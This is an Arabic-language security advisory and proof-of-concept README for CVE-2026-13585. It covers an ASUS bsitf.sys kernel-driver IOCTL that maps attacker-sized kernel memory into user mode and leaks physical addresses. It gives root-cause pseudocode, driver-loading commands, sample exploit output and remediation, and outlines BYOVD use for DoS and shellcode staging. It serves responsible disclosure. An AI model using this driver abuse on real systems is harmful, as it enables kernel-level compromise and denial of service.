POC - تعيين ذاكرة النواة إلى وضع المستخدم في ASUS bsitf.sys

CVE-2026-13585

ملخص

يقوم برنامج تشغيل النواة bsitf.sys من ASUS (الموزع أيضًا باسم AsusBSItf.sys) بتعريض IOCTL 0x222808 الذي يخصص ذاكرة نواة متصلة فيزيائيًا بحجم يتحكم فيه المهاجم، ويعيّنها إلى مساحة عنوان العملية المتصلة بصلاحيات كاملة للقراءة/الكتابة، ويعيد كلاً من العنوان الافتراضي لوضع المستخدم والعنوان الفيزيائي إلى المتصل.

يتطلب الجهاز امتيازات المسؤول لفتحه، مما يجعل هذا تصعيدًا من المسؤول إلى النواة. في سيناريو BYOVD (إحضار برنامج تشغيل معرض خاص بك)، يمكن للمهاجم الذي لديه صلاحيات مسؤول بالفعل (عبر الهندسة الاجتماعية أو استغلال منفصل) تحميل برنامج التشغيل الموقع بشكل قانوني للحصول على وصول عشوائي لذاكرة النواة دون الحاجة إلى استغلال نواة.

الإصدارات المتأثرة

جميع الإصدارات تنشئ الجهاز \Device\bsitf مع رابط رمزي \DosDevices\bsitf.

التأثير

المخزن المؤقت المعيّن هو تخصيص جديد من تجمع النواة، وليس عنوان نواة عشوائي. يتحكم المتصل في محتوياته ولكن ليس في موقعه. هذا يحد من الاستغلال مقارنة بوصول عشوائي حقيقي للقراءة/الكتابة في النواة.

• استنزاف تجمع النواة (DoS) — التخصيصات المتكررة دون تحرير ستؤدي إلى استنزاف NonPagedPool، مما يسبب شاشة الموت الزرقاء (BSOD). لا يتم فرض حد أقصى للحجم أو حد للتخصيص.
• كشف العنوان الفيزيائي — يعيد IOCTL العنوان الفيزيائي لكل تخصيص، وهو مفيد كتسريب معلومات أو لهجمات تعتمد على DMA.
• مرحلة تخزين كود قابل للتنفيذ في النواة (الإصدار 3.0.x فقط) — في الإصدار 3.0.10.0، نوع التجمع هو NonPagedPool (قابل للتنفيذ). يمكن كتابة كود شيل من وضع المستخدم إلى المخزن المؤقت المعيّن، ولكن يلزم وجود ثغرة منفصلة لإعادة توجيه تنفيذ النواة إلى عنوان المخزن المؤقت.

في الإصدارات 3.1.x (NonPagedPoolNx)، المخزن المؤقت غير قابل للتنفيذ ويقتصر التأثير العملي على DoS وكشف العنوان الفيزيائي.

السبب الجذري

يقوم IOCTL 0x222808 في معالج الإرسال بتنفيذ ما يلي دون أي تحقق من الإدخال:

alloc_size = *(DWORD *)Irp->AssociatedIrp.SystemBuffer;  // يتحكم به المستخدم

kernel_va = MmAllocateContiguousMemory(alloc_size, 0xffffffff);
mdl = IoAllocateMdl(kernel_va, alloc_size, FALSE, FALSE, NULL);
MmBuildMdlForNonPagedPool(mdl);
user_va = MmMapLockedPages(mdl, UserMode);

output[0] = user_va;        // عنوان افتراضي لوضع المستخدم
output[1] = physical_addr;  // عنوان فيزيائي للتخصيص

لا توجد فحوصات على حجم التخصيص، أو عدد التخصيصات المعلقة، أو التحقق من الإدخال. يتطلب الجهاز صلاحيات المسؤول لفتحه، ولكن بمجرد الحصول على معالج (handle)، تكون IOCTLs غير مقيدة.

إثبات المفهوم

البناء

cargo build --release

تحميل برنامج التشغيل

sc create bsitf binPath= "C:\path\to\bsitf.sys" type= kernel
sc start bsitf

التشغيل

# الافتراضي: تخصيص 0x1000 (4KB)
cargo run --release

# حجم مخصص (سداسي عشري)
cargo run --release -- 10000

الإخراج المتوقع

[*] bsitf.sys kernel memory mapping PoC
[*] target alloc size: 0x1000

[+] device handle acquired

[*] allocating 0x1000 bytes of kernel memory via IOCTL 0x222808
[+] kernel allocation succeeded:
    usermode VA:     0x000001D856F90000
    physical addr:   0x00000000BF6CB000

[*] original contents (first 16 bytes):
    00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

[*] writing 0xCC pattern (int3 sled)...
[+] readback: usermode R/W CONFIRMED

[*] freeing kernel mapping via IOCTL 0x22280C
[+] mapping freed successfully

تم الاختبار على Windows 11 24H2 (يتطلب صلاحيات المسؤول).

العلاج

1. التحقق من حجم التخصيص بحد أقصى معقول
2. تقييد عدد التخصيصات المعلقة لكل معالج (handle)
3. عدم تعيين تخصيصات النواة إلى مساحة عنوان وضع المستخدم
4. عدم إعادة العناوين الفيزيائية إلى المتصلين من وضع المستخدم
5. استخدام NonPagedPoolNx في جميع الإصدارات

الجدول الزمني

المراجع

• CWE-782: IOCTL مكشوف مع تحكم وصول غير كافٍ
• الجهاز: \Device\bsitf، الرابط الرمزي: \DosDevices\bsitf
• معالج الإرسال: FUN_140001070

إخلاء مسؤولية

هذا الدليل التجريبي مُقدم لأغراض البحث الأمني المصرح به والإفصاح المسؤول فقط. لا تستخدمه ضد أنظمة لا تملكها أو ليس لديك إذن صريح لاختبارها.